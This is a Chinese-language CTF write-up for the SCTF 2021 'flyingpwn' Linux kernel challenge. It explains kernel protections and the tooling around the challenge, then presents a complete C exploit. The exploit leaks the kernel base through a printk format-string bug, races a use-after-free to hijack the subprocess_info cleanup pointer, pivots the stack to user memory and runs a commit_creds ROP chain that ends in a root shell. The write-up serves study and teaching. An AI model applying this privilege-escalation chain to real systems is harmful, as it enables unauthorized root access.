Kernel Pwn && SCTF flyingpwn WP

Kernel Pwn && SCTF flyingpwn WP

周末做了下SCTF的flyingpwn,顺带把kernelpwn总结一下

下面介绍知识的时候都以flyingpwn为例

基础知识

一般题目会给下面几个文件

image-20211229103229125

boot.sh是qemu的启动脚本

1
2
3
4
5
6
7
8
9
10
qemu-system-x86_64 \
-m 128M \
-kernel ~/sctf/bzImage \
-initrd ~/sctf/rootfs.img \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \
-cpu kvm64,+smep \
-smp cores=2,threads=2 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic

Kernel 保护机制

boot.sh中主要关注的就是开了哪些kernel保护机制

  • Kernel stack cookies (or canaries) - this is exactly the same as stack canaries on userland. It is enabled in the kernel at compile time and cannot be disabled.
  • Kernel address space layout randomization (KASLR) - also like ASLR on userland, it randomizes the base address where the kernel is loaded each time the system is booted. It can be enabled/disabled by adding kaslr or nokaslr under -append option.
  • Supervisor mode execution protection (SMEP) - this feature marks all the userland pages in the page table as non-executable when the process is in kernel-mode. In the kernel, this is enabled by setting the 20th bit of Control Register CR4. On boot, it can be enabled by adding +smep to -cpu, and disabled by adding nosmep to -append.
  • Supervisor Mode Access Prevention (SMAP) - complementing SMEP, this feature marks all the userland pages in the page table as non-accessible when the process is in kernel-mode, which means they cannot be read or written as well. In the kernel, this is enabled by setting the 21st bit of Control Register CR4. On boot, it can be enabled by adding +smap to -cpu, and disabled by adding nosmap to -append.
  • Kernel page-table isolation (KPTI) - when this feature is active, the kernel separates user-space and kernel-space page tables entirely, instead of using just one set of page tables that contains both user-space and kernel-space addresses. One set of page tables includes both kernel-space and user-space addresses same as before, but it is only used when the system is running in kernel mode. The second set of page tables for use in user mode contains a copy of user-space and a minimal set of kernel-space addresses. It can be enabled/disabled by adding kpti=1 or nopti under -append option.

KASLR

这里虽然明确是说开启了smep,而没有开smap,kaslr没说,但是默认是开启的,所以这里kernel base会随机化,对此我们需要想办法leak,不过有些题确实有爆破的打法,开了KASLR后kernelbase有512个可能的加载地址,我们需要用默认的基地址0xffffffff81000000去不停的打。

不过我们调试的时候为了方便,可以在这里手动加上nokaslr来关闭随机化

SMEP和SMAP

关于SMEP和SMAP的区别,一个是不可执行Execute,一个是不可Access,开了SMAP限制就比较严格,如果只开了SMEP,虽然我们不可以直接去执行用户空间的代码,但是我们依然可以访问用户空间内存,比较常见的利用思路是栈迁移到用户空间,然后打kernel ROP。

另外SMEP是受CR4的第20bit控制的,kernel中有一个函数是native_write_CR4(),其内部会执行mov cr4,rdi,只要我们设置rdi来清空cr4的第20bit就可以关闭SMEP

但是遗憾的是,在新版本的kernel中,CR4已经被锁死了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void native_write_cr4(unsigned long val)
{
unsigned long bits_changed = 0;

set_register:
asm volatile("mov %0,%%cr4": "+r" (val) : : "memory");

if (static_branch_likely(&cr_pinning)) {
if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits;
val = (val & ~cr4_pinned_mask) | cr4_pinned_bits;
goto set_register;
}
/* Warn after we've corrected the changed bits. */
WARN_ONCE(bits_changed, "pinned CR4 bits changed: 0x%lx!?\n",
bits_changed);
}
}
1
2
> pinned CR4 bits changed: 0x100000!?
>

如果修改CR4,在Kernel log中就会打印上面这个错误,所以利用思路只剩内核ROP。

kernel crash

这个是我在搜索信息的时候发现的不起眼的选项

1
oops=panic panic=1

这个选项其实非常关键

当内核发生crash时,会提示这样的信息

1
[<ffffffffc011b47d>] ? do_ioctl+0x34d/0x4c0 [vuln_driver]

我们可以借此计算kernelbase,要利用这个方法,我们必须得保证crash时,内核不会重启,而这句的意思就是将oops类型的错误当作panic错误处理,而panic会使得1s后重启内核,所以这句可以限制kaslr的利用

core and thread

在boot.sh中指定了是两核两线程,多核这个会影响到内核slab的分配,在一个CPU上运行的进程是共享slab池的,不同的CPU上的进程不共享slab,因此有时为了避免这个影响,我们得手动设置下亲和性

1
set_thread_aff(0)

Kernel extract

bzImage是内核镜像的压缩格式文件,解压脚本如下,用法为

1
$ ./extract-image.sh ./vmlinuz > vmlinux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

提取出vmlinux之后,直接用ROPGadget获得可用gadgets备用

1
$ ROPgadget --binary ./vmlinux > gadgets.txt

文件系统

提取文件系统直接用binwalk就行,

1
binwalk -Me rootfs.img

另一个常用的操作是重打包文件系统,因为我们一般要修改init文件和放exp程序进去

重打包脚本如下

1
2
3
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

将该脚本放到rootfs根目录下,运行下面命令,即可在上层目录生成重打包的文件系统

1
sh cpio.sh ../rootfs.cpio

在文件系统中,一般能够找到题目驱动,比如flying.ko,我们一般还要关注init文件,这个文件是系统的启动文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh

mkdir tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /flying.ko
chmod 666 /dev/seven
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

poweroff -d 240 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /sys
umount /tmp

poweroff -d 0 -f

比较关键的几句是

1
2
3
poweroff -d 240 -f &
```
这句会设置定时关机,所以我们直接删掉

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

1
2
3
4
5
6

这两句设置dmesg限制,当我们为非root用户时是看不到kernel debug message的,我们也没法调用dmesg命令

为了调试方便,我们一般都设置成0,但是注意这里的限制不影响printk,像题目中使用printk打印信息我们还是能看到的(做题的时候以为看不到,导致思路朝盲pwn上想浪费了大量时间)

![image-20211229113232699](.\image-20211229113232699.png)

setsid /bin/cttyhack setuidgid 1000 /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

这句设置我们登录的shell是1000用户组,为了调试方便,我们这里可以改成0



### 内核符号地址

获取内核版本号

![image-20211229114930507](.\image-20211229114930507.png)



当我们把shell权限设置成root后,就可以通过读取内核符号表的方式来获取到函数地址,命令为

```bash
cat /proc/kallsyms | grep func_name

内核基地址的符号

1
cat /proc/kallsyms | grep startup_64

驱动基地址的获取

1
cat /proc/modules | grep driver_name

Kmalloc

内核中申请内存一般是用kmalloc,kmalloc的标准分配方式很类似glibc的方式,也是把要分配的内存按大小划分成各种chunk,只不过内核中叫slab,同类的free slab也是按链表的方式链接在一起的

image-20211229115149413

题目中的这个分配函数是kmalloc中的内部函数

image-20211229115227639

根据请求的分配的内存大小,kmalloc_index获得该size对应的index,然后按index分配,一般来说,块的大小按2的阶计算,kmalloc_caches数组中的下标其实也是表示了块的大小即2^n字节,但是实际的如下图

image-20211229115510775

像exploit中比较常用的结构体,tty_operation是1024,cred结构体是192

针对freelist本身似乎也有一种exploit的方式,但是具体还有待研究

Kernoob: kmalloc without SMAP (kirin-say.top)

调试

一般是用连接到qemu的方式调试,在启动脚本上加上-s

image-20211229192830014

然后gdb这边用下面命令就可以连接上去,但是调试内核有个问题是,如果装了gdb插件比如peda之类的

1
2
3
gdb ./vmlinux -q

> target remote :1234

调试倒也能调试,一个是非常慢,另一个会出错误,所以需要禁用掉插件,一般注释掉这个文件里的内容即可

1
gedit ~/.gdbinit

题目分析

这个驱动没有read函数

IOCTL函数

image-20211229180919038

0x6666是释放申请的sctf_buf,这里释放之后并没有清空sctf_buf,存在UAF

image-20211229181001609

0x7777是打印sctf_buf里的内容,仔细看这里,是经典的格式化字符串漏洞的模式,这里做题的时候我竟然没考虑到

image-20211229181116346

0x5555 是给sctf_buf申请内存

write函数是往sctf_buf里面写入内容,这里特点是倒着写的

image-20211229181454098

漏洞分析

首先就是刚才提到的UAF,我们释放了sctf_buf之后没有清空,

申请内存块用的是

kmem_cache_alloc_trace(kmalloc_caches[7], 0xCC0LL);

对照前面的大小表,index为7的大小为128,一般这种UAF加slab的攻击方法是堆喷到内核中某个关键结构体,通过覆写其内容来exploit,这种攻击方式需要我们攻击的关键结构体的大小和我们这里能write的内存块是相同的index

这里关键结构体的选取已经有大佬做总结了,这里我参考pzhxbz的翻译

(翻译)kernel pwn中能利用的一些结构体 – pzhxbz的技术笔记本

可以找到一个结构体叫subprocess_info,通过覆写其内容我们可以实现控制流劫持,只不过不知道是不是内核版本的不同,上文中提到的要覆写的位置和题目中内核是有出入的,下面我会给出分析

subprocess_info

结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;

// https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/workqueue.h#L102
struct work_struct {
atomic_long_t data;
struct list_head entry;
work_func_t func;
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};

触发方式为执行下面这句代码

1
socket(22, AF_INET, 0);

socket会按下面的流程执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;

return call_usermodehelper_exec(info, wait);
}
//https://elixir.bootlin.com/linux/v5.11/source/kernel/umh.c#L472

struct subprocess_info *call_usermodehelper_setup(const char *path, char **argv,
char **envp, gfp_t gfp_mask,
int (*init)(struct subprocess_info *info, struct cred *new),
void (*cleanup)(struct subprocess_info *info),
void *data)
{
struct subprocess_info *sub_info;
//创建subprocess_info
sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
if (!sub_info)
goto out;

INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);

#ifdef CONFIG_STATIC_USERMODEHELPER
sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
sub_info->path = path;
#endif
sub_info->argv = argv;
sub_info->envp = envp;

sub_info->cleanup = cleanup;
sub_info->init = init;
sub_info->data = data;
out:
return sub_info;
}


int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
{
DECLARE_COMPLETION_ONSTACK(done);
int retval = 0;

if (!sub_info->path) {
call_usermodehelper_freeinfo(sub_info);
return -EINVAL;
}
...
}



static void call_usermodehelper_freeinfo(struct subprocess_info *info)
{
if (info->cleanup)
(*info->cleanup)(info);
kfree(info);
}

所以如果我们能修改掉cleanup指针,就可以实现控制流劫持

在IDA中找到对应部分,可以看到应该修改的cleanup指针位于0x60也就是[12]的偏移处,至于info->path的值,实践后发现,这个值不用改,反正这题write也是倒着写的,所以我们只要改掉cleanup就行了

image-20211229184006282

image-20211229184023836

泄露kernel base

由于存在格式化字符串漏洞,所以直接打印栈上的值就可以leak base

不过这里也有个细节是泄露用的 %lld

1
strcpy(buf, "data : %lld %lld %lld %lld %lld \xff%lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld\n");

这里不能像做libc一样,用%p,因为printk的%p有拓展用法

image-20211229184751883

exploit

泄露完base之后我们利用条件竞争来劫持控制流到如下gadget

image-20211229184948343

这句代码可以实现栈迁移到用户空间,这里还有个小细节是,我们知道内核栈一般是0xffffffff开头的,如果我们直接mov esp,比如这里,rsp会变成0xffffffff83000000,栈依然在我们无法控制的内核空间中,所以为什么呢

这里其实用到了x64下的一个特性,mov esp,时会清空高位,所以我们赋值完之后,rsp 就等于 esp(太细节了orz)

image-20211229185246441

ROP布局代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
void setup_chunk_rop(unsigned long kernel_base)
{
unsigned long *rop;
int i = (0x1000000/2)/8;
unsigned long commit_creds = kernel_base + (0xffffffff8108c360 - 0xffffffff81000000);
unsigned long prepare_kernel_cred = kernel_base + (0xffffffff8108c780 - 0xffffffff81000000);
unsigned long pop_rdi = kernel_base + 0x16e9;
unsigned long mov_rdi_rax = kernel_base + (0xffffffff813d7369 - 0xffffffff81000000);
unsigned long mov_rdi_rax_rep = kernel_base + (0xffffffff81aed04b - 0xffffffff81000000);
unsigned long pop_rcx = kernel_base + (0xffffffff8101ed83 - 0xffffffff81000000);
unsigned long mov_cr3_rdi = kernel_base + (0xffffffff8105734a -0xffffffff81000000); //: mov cr3, rdi ; ret
unsigned long or_rax_rdx = kernel_base + (0xffffffff81018d2c -0xffffffff81000000); //: or rax, rdx ; ret
unsigned long pop_rdx = kernel_base + (0xffffffff8104abb7-0xffffffff81000000); // pop rdx; ret
unsigned long pop_rax = kernel_base + (0xffffffff8100ec67-0xffffffff81000000); // pop rax; ret
unsigned long mov_rax_cr3 = kernel_base + (0xffffffff81057fab-0xffffffff81000000); //: mov rax, cr3 ; mov cr3, rax ; ret
unsigned long mov_cr3_rax = kernel_base + (0xffffffff81057fae - 0xffffffff81000000);//: mov cr3, rax ; ret
unsigned long swapgs = kernel_base + (0xffffffff81c00f58 - 0xffffffff81000000);
unsigned long iretq = kernel_base + (0xffffffff81024f92 - 0xffffffff81000000);
unsigned long swapgs_restore = kernel_base + (0xffffffff81c00e26 - 0xffffffff81000000);
/*
0xffffffff816e19bc: mov esp,0x83000000
0xffffffff816e19c1: ret
*/
unsigned long pivot = kernel_base + 0x6e19bc;
rop = mmap(0x83000000-(0x1000000/2), 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
rop[0] = 0xdeadbeaf;

for (int i = 0; i <(0x1000000/2)/8;)
rop[i++] = 0xffffffff816e19bc;
//rop[i++] = mov_rax_cr3;
//rop[i++] = pop_rdx;
//rop[i++] = 0x1000;
//rop[i++] = or_rax_rdx;
//rop[i++] = mov_cr3_rax;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rcx;
rop[i++] = 0;
rop[i++] = mov_rdi_rax_rep;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = shell;
rop[i++] = tf.cs;
rop[i++] = tf.rflags;
rop[i++] = tf.rsp;
rop[i++] = tf.ss;
printf("ROP fake stack %p\n", rop);
}

可以看到我们就是在0x83000000的位置布局的rop,这里为什么要在0x8300 0000前后都分配内存,因为

image-20211229185627569

ROP链是经典的布置了,基本上都是这样,没什么好说的,找到地址填上去就行了

条件竞争的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ret = ioctl(fd, UAF, 0);

assert(ret == 0);

pthread_t tid;

pthread_create(&tid, NULL, memset_buf, kernel_base + 0x6e19bc);

sleep(0.3);

for(int i = 0; i < 0x1; i++)

ret = socket(22, AF_INET, 0);

//write(fd, buf, 0x20);

sleep(0.3);

lock = 0;

先free掉内存,然后创建一个线程,不停的往其0x60位置写入stack pivot的gadget,因为其实倒着写的,所以这里其实用的是0x80 - 0x60 = 0x20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void *memset_buf(void *tmp)
{

unsigned long buf[4];
for(int i = 0; i < 4; i++){
buf[i] = (unsigned long)tmp;
}
/*
char buf[0x81];
memset(buf, 'M', 0x80);
*/
lock = 1;
while(1)
{
write(fd, buf, 0x20);
}
return tmp;
}

后面用socket去创建subprocess_info,只要能在创建subprocess_info后,cleanup前写入gadget就能成功,出乎意料,这个成功率还是很高的。

这里还有个小问题是,因为新开的线程会不停的写入值,因为会不停的打印write,我们获得的shell能够正常使用吗(被write的log信息干扰),这里实际打过后会发现可以正常获得shell的,我猜测跟shell的前台进程和后台进程有关,execve(“/bin/sh”)执行后,这个新进程就变成前台进程了,因此write的log信息并不会显示出来

image-20211229190828951

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#include <stdio.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>

#include <string.h>

#include <sys/socket.h>

#include <pthread.h>

#include <stdlib.h>

#include <sys/mman.h>

int fd;

// We can launch ioctl / read / write for this device driver.

// For ioctl command we have:

// 0x6666 for UAF

// 0x7777 for Fmt string vuln

// 0x5555 alloc of size 0x80

#define ALLOC 0x5555

#define UAF 0x6666

#define GET 0x7777

struct trap_frame{

char* rip;

unsigned long cs;

unsigned long rflags;

char* rsp;

unsigned long ss;

}__attribute__((packed));

struct trap_frame tf;

void save_state(void){
asm volatile( "mov tf+8, cs;"

"pushf;"

"pop tf+16;"

"mov tf+24, rsp;"

"mov tf+32, ss;"

);
}

void open_target(void)
{

fd = open("/dev/seven", O_RDWR);

assert(fd > 0);

}

int lock;

void *memset_buf(void *tmp)
{

unsigned long buf[4];
for(int i = 0; i < 4; i++){
buf[i] = (unsigned long)tmp;
}
/*
char buf[0x81];
memset(buf, 'M', 0x80);
*/
lock = 1;
while(1)
{
write(fd, buf, 0x20);
}
return tmp;
}

void shell(void){
char* argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}

void setup_chunk_rop(unsigned long kernel_base)
{
unsigned long *rop;
int i = (0x1000000/2)/8;
unsigned long commit_creds = kernel_base + (0xffffffff8108c360 - 0xffffffff81000000);
unsigned long prepare_kernel_cred = kernel_base + (0xffffffff8108c780 - 0xffffffff81000000);
unsigned long pop_rdi = kernel_base + 0x16e9;
unsigned long mov_rdi_rax = kernel_base + (0xffffffff813d7369 - 0xffffffff81000000);
unsigned long mov_rdi_rax_rep = kernel_base + (0xffffffff81aed04b - 0xffffffff81000000);
unsigned long pop_rcx = kernel_base + (0xffffffff8101ed83 - 0xffffffff81000000);
unsigned long mov_cr3_rdi = kernel_base + (0xffffffff8105734a -0xffffffff81000000); //: mov cr3, rdi ; ret
unsigned long or_rax_rdx = kernel_base + (0xffffffff81018d2c -0xffffffff81000000); //: or rax, rdx ; ret
unsigned long pop_rdx = kernel_base + (0xffffffff8104abb7-0xffffffff81000000); // pop rdx; ret
unsigned long pop_rax = kernel_base + (0xffffffff8100ec67-0xffffffff81000000); // pop rax; ret
unsigned long mov_rax_cr3 = kernel_base + (0xffffffff81057fab-0xffffffff81000000); //: mov rax, cr3 ; mov cr3, rax ; ret
unsigned long mov_cr3_rax = kernel_base + (0xffffffff81057fae - 0xffffffff81000000);//: mov cr3, rax ; ret
unsigned long swapgs = kernel_base + (0xffffffff81c00f58 - 0xffffffff81000000);
unsigned long iretq = kernel_base + (0xffffffff81024f92 - 0xffffffff81000000);
unsigned long swapgs_restore = kernel_base + (0xffffffff81c00e26 - 0xffffffff81000000);
/*
0xffffffff816e19bc: mov esp,0x83000000
0xffffffff816e19c1: ret
*/
unsigned long pivot = kernel_base + 0x6e19bc;
rop = mmap(0x83000000-(0x1000000/2), 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
rop[0] = 0xdeadbeaf;

for (int i = 0; i <(0x1000000/2)/8;)
rop[i++] = 0xffffffff816e19bc;
//rop[i++] = mov_rax_cr3;
//rop[i++] = pop_rdx;
//rop[i++] = 0x1000;
//rop[i++] = or_rax_rdx;
//rop[i++] = mov_cr3_rax;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rcx;
rop[i++] = 0;
rop[i++] = mov_rdi_rax_rep;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = shell;
rop[i++] = tf.cs;
rop[i++] = tf.rflags;
rop[i++] = tf.rsp;
rop[i++] = tf.ss;
printf("ROP fake stack %p\n", rop);
}

// When testing when being already root.

unsigned long get_text_base(void)
{

char b[0x10000];

char *p;

int ret;

unsigned long leak;

int kmsg = open("/dev/kmsg", O_RDONLY);

assert(kmsg > 0);

ret = read(kmsg, b, 0x10000);

assert(ret > 0);



p = strchr(b, 0xff);

leak = strtoul(p+1, NULL, 10);

leak -= 0x1f3ecd;

return leak;

}

int main(int argc, char *argv[])
{

char buf[0x81];

int ret;

unsigned long kernel_base;

save_state();

// open the target device driver.

open_target();

ret = ioctl(fd, ALLOC, 0x80);

assert(ret == 0);



//memset(buf, 'M', 0x80);

strcpy(buf, "data : %lld %lld %lld %lld %lld \xff%lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld\n");

ret = write(fd, buf, 0x80);

assert(ret > 0);

// Trying to printk that data we wrote.

ret = ioctl(fd, GET, 0);

assert(ret == 0);

// trying to have the text base!

if (argc == 1)

exit(1);

else

kernel_base = strtoul(argv[1], NULL, 16) - 0x1f3ecd;

//kernel_base = get_text_base();

printf("Kernel base %lx\n", kernel_base);

setup_chunk_rop(kernel_base);

getchar();

// trying to fill that freed chunk with struct subprocess_info

// Trying to bruteforce it.

//sleep(0.1);

// Trying to free our chunk for UAD

ret = ioctl(fd, UAF, 0);

assert(ret == 0);

pthread_t tid;

pthread_create(&tid, NULL, memset_buf, kernel_base + 0x6e19bc);

sleep(0.3);

for(int i = 0; i < 0x1; i++)

ret = socket(22, AF_INET, 0);

//write(fd, buf, 0x20);

sleep(0.3);

lock = 0;

//printf("socket returned %d\n", ret);

getchar();

}

编译命令为

1
gcc -osploit -pthread -static -Os suexp.c -lutil -masm=intel -s

pthread库肯定是要链接上的,编译成static也是为了避免依赖库的问题,-masm=intel是为了支持intel汇编格式,这里如果你用的不是intel汇编就可以不加这句。

总结

感谢SU的wp,上面exp基本是拷贝SU的exp,只能说有些队wp原来还能写一句话,现在连一句话都不贴了,麻

SCTF 2021 SU Write-Up | TEAM-SU

Refs:

Learning Linux Kernel Exploitation - Part 1 - Midas Blog (lkmidas.github.io)

Kernel Pwn 学习之路 - 番外 - 安全客,安全资讯平台 (anquanke.com)

Kmalloc申请内存源码分析 - 云+社区 - 腾讯云 (tencent.com)

(翻译)kernel pwn中能利用的一些结构体 – pzhxbz的技术笔记本

CVE-2016-6187复现以及struct subprocess_info的劫持-Pwn影二つ的博客 (kagehutatsu.com)

workqueue.h - include/linux/workqueue.h - Linux source code (v5.15.11) - Bootlin 在线看内核代码的网站

Linux Kernel Pwn 初探 - 先知社区 (aliyun.com)

SCTF 2021 SU Write-Up | TEAM-SU